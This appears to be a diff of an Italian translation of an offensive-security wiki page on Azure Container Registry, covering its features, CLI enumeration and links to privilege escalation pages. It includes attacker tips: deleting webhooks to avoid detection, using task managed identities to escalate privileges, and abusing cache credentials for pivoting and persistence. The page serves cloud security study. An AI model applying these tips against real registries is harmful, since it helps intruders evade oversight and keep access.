echo "Service principal ID: $USER_NAME"
echo "Service principal password: $PASSWORD"
```
### Encryption
### Cifratura
Solo lo **Premium SKU** supporta la **crittografia at rest** per le immagini e altri artifact.
Solo lo **SKU Premium** supporta la **cifratura at rest** per le immagini e gli altri artifact.
### Networking
Solo lo **Premium SKU** supporta i **private endpoints**. Gli altri supportano solo **public access**. Un public endpoint ha il formato `<registry-name>.azurecr.io` e un private endpoint ha il formato `<registry-name>.privatelink.azurecr.io`. Per questo motivo, il nome del registry deve essere univoco in tutto Azure.
Solo lo **SKU Premium** supporta gli **endpoint privati**. Gli altri supportano esclusivamente l'**accesso pubblico**. Un endpoint pubblico ha il formato `<registry-name>.azurecr.io`, mentre un endpoint privato ha il formato `<registry-name>.privatelink.azurecr.io`. Per questo motivo, il nome del registry deve essere univoco in tutto Azure.
### Microsoft Defender for Cloud
Questo ti permette di **scansionare le immagini** nel registry alla ricerca di **vulnerabilities**.
Consente di **scansionare le immagini** nel registry alla ricerca di **vulnerabilità**.
### Soft-delete
La funzionalità **soft-delete** ti permette di **recuperare un registry eliminato** entro il numero di giorni indicato. Questa funzionalità è **disabilitata di default**.
La funzionalità **soft-delete** consente di **recuperare un registry eliminato** entro il numero di giorni indicato. Questa funzionalità è **disabilitata per impostazione predefinita**.
### Webhooks
È possibile **creare webhooks** all'interno dei registry. In questo webhook è necessario specificare l'URL a cui verrà inviata una **request ogni volta che viene eseguita un'azione di push o delete**. Inoltre, i Webhooks possono indicare uno scope per specificare i repository (images) che saranno interessati. Per esempio, 'foo:\*' significa eventi nel repository 'foo'.
È possibile **creare webhook** all'interno dei registry. In questo webhook è necessario specificare l'URL al quale verrà **inviata una request ogni volta che viene eseguita un'azione di push o delete**. Inoltre, i webhook possono indicare uno scope per specificare i repository (immagini) interessati. Ad esempio, `foo:*` indica gli eventi nel repository `foo`.
Dal punto di vista di un attacker, è interessante controllare questo **prima di eseguire qualsiasi azione** nel registry, e rimuoverlo temporaneamente se necessario, per evitare di essere rilevati.
Dal punto di vista di un attacker, è interessante verificare questo aspetto **prima di eseguire qualsiasi azione** nel registry e rimuoverlo temporaneamente, se necessario, per evitare di essere rilevati.
### Connected registries
Questo, in sostanza, permette di **mirror the images** da un registry a un altro, solitamente situato on-premises.
Questo consente essenzialmente di **creare un mirror delle immagini** da un registry a un altro, generalmente situato on-premises.
Ha 2 modalità: **ReadOnly** e **ReadWrite**. Nella prima, le immagini vengono solo **pulled** dal source registry, e nella seconda, le immagini possono anche essere **pushed** al source registry.
Dispone di 2 modalità: **ReadOnly** e **ReadWrite**. Nella prima, le immagini vengono solo **pulled** dal registry sorgente, mentre nella seconda le immagini possono anche essere **pushed** nel registry sorgente.
Per consentire ai client di accedere al registry da Azure, viene generato un **token** quando viene usato il connected registry.
Affinché i client possano accedere al registry da Azure, viene generato un **token** quando viene utilizzato il connected registry.
### Runs & Tasks
Runs & Tasks permette di eseguire in Azure azioni relative ai container che normalmente avresti dovuto fare in locale o in una pipeline CI/CD. Per esempio, puoi **build, push, and run images in the registry**.
Runs & Tasks consente di eseguire in Azure azioni relative ai container che normalmente sarebbe necessario eseguire localmente o in una pipeline CI/CD. Ad esempio, è possibile **buildare, fare push ed eseguire immagini nel registry**.
Il modo più semplice per build e run un container è usare un Run normale:
Il modo più semplice per buildare ed eseguire un container consiste nell'utilizzare un Run standard:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
Tuttavia, ciò attiverà runs che non sono molto interessanti dal punto di vista di un attacker perché non hanno alcuna managed identity associata.
Tuttavia, questo attiverà esecuzioni che non sono particolarmente interessanti dal punto di vista di un attacker, perché non hanno alcuna managed identity associata.
Tuttavia, i **tasks** possono avere una **system e user managed identity** associata. Questi tasks sono quelli utili per **escalare privilegi** nel container. Nella sezione di privilege escalation è possibile vedere come usare i tasks per escalare privilegi.
Tuttavia, i **tasks** possono avere una **system and user managed identity** associata. Questi sono i tasks utili per **escalate privileges** nel container. Nella sezione sull'escalation dei privilegi è possibile vedere come utilizzare i tasks per effettuare l'escalation dei privilegi.
### Cache
La funzionalità cache consente di **scaricare immagini da un external repository** e memorizzare le nuove versioni nel registry. Richiede di avere alcune **credentials configurate** selezionando le credentials da un Azure Vault.
La funzionalità Cache consente di **scaricare immagini da un repository esterno** e archiviare le nuove versioni nel registry. È necessario disporre di alcune **credenziali configurate**, selezionando le credenziali da un Azure Vault.
Questo è molto interessante dal punto di vista di un attacker perché consente di **pivot to an external platform** se l'attacker ha abbastanza permissions per accedere alle credentials, **scaricare immagini da un external repository** e configurare una cache potrebbe anche essere usato come **persistence mechanism**.
Questo è molto interessante dal punto di vista di un attacker, perché consente di **effettuare il pivot verso una piattaforma esterna** se l'attacker dispone di autorizzazioni sufficienti per accedere alle credenziali. **Scaricare immagini da un repository esterno** e configurare una cache potrebbe inoltre essere utilizzato come **meccanismo di persistenza**.
## Enumeration
## Enumerazione
> [!WARNING]
> È molto importante che, anche se il nome del registry contiene alcune lettere maiuscole, per accedervi devi usare solo lettere minuscole nell'url.
> È molto importante che, anche se il nome del registry contiene alcune lettere maiuscole, nell'URL utilizzato per accedervi si usino solo lettere minuscole.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -149,13 +149,17 @@ az acr cache show --name <cache-name> --registry <registry-name>
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Privilege Escalation & Post Exploitation
## Escalation dei privilegi e Post Exploitation
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## References
{{#ref}}
../az-post-exploitation/az-container-registry-post-exploitation.md
{{#endref}}
## Riferimenti
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)